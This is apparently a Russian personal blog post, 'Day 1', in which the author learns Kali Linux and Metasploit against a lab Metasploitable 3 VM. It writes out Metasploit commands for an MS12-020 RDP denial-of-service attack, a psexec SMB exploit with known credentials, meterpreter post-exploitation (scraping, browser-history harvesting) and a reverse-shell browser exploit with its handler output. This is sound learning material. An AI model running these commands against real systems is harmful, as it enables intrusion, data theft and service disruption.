×
Главная   »   Заметки   »   День 1. Разбираемся как изучать Kali Linux/Metasploit
День 1. Разбираемся как изучать Kali Linux/Metasploit
Метки:      ,   ,   ,   ,   ,   

Первый день изучения компьютерной безопасности. Знакомство с платформой Metasploit. Бесполезная попытка разобраться с Nessus и два успешных эксплойта.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

В книге Парасрам Шива очень поверхностно написано. Поэтому необходимо самостоятельно изучить Metasploit (далее MSF). Самое основное, следует понимать основные модули: Exploit (для эксплуатации), Payload (код, который будет запущен, после работы эксплойта), Post (код, который запускается после успешного проникновения), Encoder (инструмент для обфускация вредоносного кода), NOP (ассемблерная инструкция, которая ничего не делает и заполняет пустоту, чтобы подогнать размер) и Auxiliary (модули для анализа трафика, сканирования сети и т.д.).

Чтобы открыть консоль MSF в Kali Linux:

> msfconsole

Уязвимость протокола RDP

RDP – протокол удаленного рабочего стола

Далее выбираем эксплойт, например, работающий с уязвимостью протокола RDP:

msf6> use auxiliary/dos/windows/rdp/ms12_020_maxchennelids

Устанавливаем ip-адрес удаленной машины. В нашем случае Metasploitable 3, в которой открыт порт 3389 и на котором работает протокол RDP. Далее пишем команду:

msf6> exploit

Описание эксплойта: этот модуль использует уязвимость MS12-020 RDP. Уязвимостью является способ обработки пакета T.125 ConnectMCSPDU в поле maxChannelIDs. Использование недопустимого указателя приводит к отказу в обслуживании системы, т.е. синему экрану.

И что дальше?

Этот маленький эксперимент предоставил возможность увидеть работу Metasploit. Можно двигаться дальше и наращивать информацию вокруг MSF.

Вернемся к книге Парасрам Шивы, а именно к 9 главе «Повышение привилегий и поддержание доступа». Он предлагает использовать сканер портов Nmap:

> nmap -p- 192.168.56.104

Эта команда сканирует все порты (от 1 до 65535). В книге для примера он берет службу distccd. В Metasploitable 3 такой службы по всей видимости нет, поэтому раздел «Локальная эксплуатация» следует выполнить на примере другой службы. Собственно, это и вызвало сложность.

Попробовал использовать несколько эксплойтов для mysql, но ничего не получилось. Видимо успешной эксплуатации RDP протокола недостаточно, чтобы самостоятельно, без пособий и книг уметь использовать уязвимости. Кстати, эксплойты для mysql нашел следующим способом:

msf6> search mysql

Попытка разобраться с Nessus

По запросу Metasploit нашел статью студента по теме сканирования и эксплуатации серверов. Сначала он так же предлагает сканировать порты. Позже использовать сканер уязвимостей Nessus. В консоли MSF подключаем этот сканер:

msf6> load nessus

А далее что-то снова непонятное. Он использует идентификатор уязвимости, непонятно откуда взятый. Нужен гугл. На русском языке в выдаче статьи по использованию сканера Nessus с GUI интерфейсом. Нам нужна консольная версия.

После долгих попыток авторизоваться при помощи команды nessus_connect, я понял, что Nessus не встроена в Kali Linux и ее необходимо скачивать с сайта. Выбираем версию для Kali Linux (amd64). Скачиваем. Распаковываем:

> sudo dpkg -i Nessus-10.1.1-debian6_amd64.deb

И включаем службу:

> systemctl start nessusd.service

Теперь по адресу https://127.0.0.1:8834 запускается Nessus. Вернемся к консоли. Запустим MSF и снова подгрузим Nessus:

msf6> load nessus
msf6> nessus_connect dook:secret@localhost  ok

И снова не работает. Все же нужно перейти на сайт https://127.0.0.1:8834 и зарегистрироваться. После чего снова пробуем подключиться:

msf6> nessus_connect dook:secret@localhost  ok

Получилось. Но сейчас машина Kali Linux подключена к интернету и не видит целевую машину, которая находится в локальной сети VirtualBox. Для нового сканирования нужна какая-то политика, да и Nessus в браузере что-то скачивает. Ждем. Потом попробуем отключить интернет и войти в учетную запись.

Интернет отключил, все работает.

Через веб-интерфейс создал политику. Если ввести команду

msf6 > nessus_policy_list

Будет выведены политики и какие-то UUID. После попытки запустить сканирование, возникает ошибка «Error while running command nessus_scan_new: undefined method `[]' for nil:NilClass». На этом все… Кажется я начал копать не в ту сторону. Оставим пока Nessus.

UPD: Через веб-интерфейс Nessus нормально просканировал целевую машину. Во всяком случае пока не стоит тратить на него время.

Новая зацепка: сайт offensive-security.com

Пока искал как работает Nessus, натолкнулся на сайт https://www.offensive-security.com. На нем есть неплохая инструкция по Metasploit, разумеется, на английском. Думаю, стоит начать изучение с него.

Раздел MSFCONSOLE COMMANDS (ссылка)

Ничего интересного. Написано про то, что такое msfconsole, как ее запускать, как использовать команду help и то, что можно нажимать на таб для просмотра команд. Так же написано про наличие команды grep (работа аналогична Linux).

В мануале набрел на книгу «Metasploit: The Penetration Tester’s Guide». Пока отложим ее.

Раздел WORKING WITH ACTIVE AND PASSIVE EXPLOITS IN METASPLOIT (Работа с активными и пассивными эксплойтами)

Итак, эксплойты бывают активными и пассивными.

Активный эксплойт, в отличии от пассивного, не ожидает входящего соединения для начала работы. Для примера активного эксплойта приведен exploit/windows/smb/psexec, использующий уязвимость в сетевом протоколе SMB (сетевой протокол для удаленного доступа к файлам, принтерам и т.д.):

msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOST 192.168.56.104
RHOST => 192.168.56.104
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf6 exploit(windows/smb/psexec) > set smbuser vagrant
smbuser => vagrant
msf6 exploit(windows/smb/psexec) > set smbpass vagrant
smbpass => vagrant
msf6 exploit(windows/smb/psexec) > exploit

В нашем случае мы знаем имя пользователя и пароль (которые установили в параметры smbuser и smbpass). В итоге получилось подключиться к целевой машине.

Например, можно ввести команду:

meterpreter > sysinfo

И узнать больше о системе. На данный момент эта информация ничего не дает, так как не знаю, что с этим делать.

Далее попробовал вернуться к книге Парасрам Шивы, а именно к 9 главе, связанной с повышением привилегий. Ничего не получилось. Снова не хватает каких-то знаний. Гугля проблему набрел на сайт (https://cyruslab.net/2012/03/09/metasploit-post-exploitation-with-meterpreter-2/), а именно на пункт «Post exploitation: using scraper», в котором используется так называемый «скребок», предназначенный для сбора информации с целевой машины.

meterpreter > run scraper

Так же можно «выгрузить» историю браузера:

meterpreter > run post/windows/gather/enum_ie

Вот только в папке ~/.msf4/logs и ~/.msf4/loot ничего нет. Не знаю куда сохранились выгруженные данные. Про сбор данных будет дальше (судя по выдаче гугл, которая ведет на offensive-security.com), поэтому не буду спешить и оставлю эту тему. Кстати, даже можно включить telnet на целевой машине или отключить антивирус. Это я проверил активный эксплойт. Настало время познакомиться с пассивным эксплойтом.

В качестве пассивного эксплойта приведен exploit/windows/browser/ani_loadimage_chunksize. Его суть, как я понял: создается сервер и ожидается пока потенциальная жертва не перейден на него.

msf 6 > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf6 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf6 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf6 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf6 exploit(windows/browser/ms07_017_ani_loadimage_chunksize) > exploit

Далее ожидание подключения со стороны целевой машины:

[*] Started reverse TCP handler on 192.168.56.101:4444 
[*] Using URL: http://0.0.0.0:80/

После подключения введения в адресную строку браузера в Metasploitable 3 http://192.168.56.101:

[*] 192.168.56.104   ms07_017_ani_loadimage_chunksize - Attempting to exploit ani_loadimage_chunksize
[*] 192.168.56.104   ms07_017_ani_loadimage_chunksize - Unknown User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)

Вроде бы пытается подключиться, но сессия не открылась, следовательно, у меня не получилось использовать эксплойт для подключения к целевой машине.

Подведем итог за сегодня. Книга Парасрам Шивы оказалась достаточно сложной. Чтобы ее понять, необходимо, на мой взгляд хорошо разобраться с основами и научиться пользоваться проектом Metasploit. Это на первый взгляд, может я и не прав. Дальше посмотрим.

В итоге за сегодня получилось успешно применить два эксплойта и наметить дальнейший путь изучения компьютерной безопасности.

Ссылки дня:

  1. https://habr.com/ru/post/234719/
  2. https://www.offensive-security.com/metasploit-unleashed/nessus-via-msfconsole/
  3. https://www.offensive-security.com/metasploit-unleashed/working-with-nessus/
  4. https://habr.com/ru/company/pentestit/blog/216169/
  5. https://cyberleninka.ru/article/n/metasploit-framework-kak-sredstvo-ekspluatatsii-uyazvimyh-serverov/viewer
  6. https://www.offensive-security.com/metasploit-unleashed/
  7. https://cyruslab.net/2012/03/09/metasploit-post-exploitation-with-meterpreter-2/

1635 просмотров
08.03.2022
Автор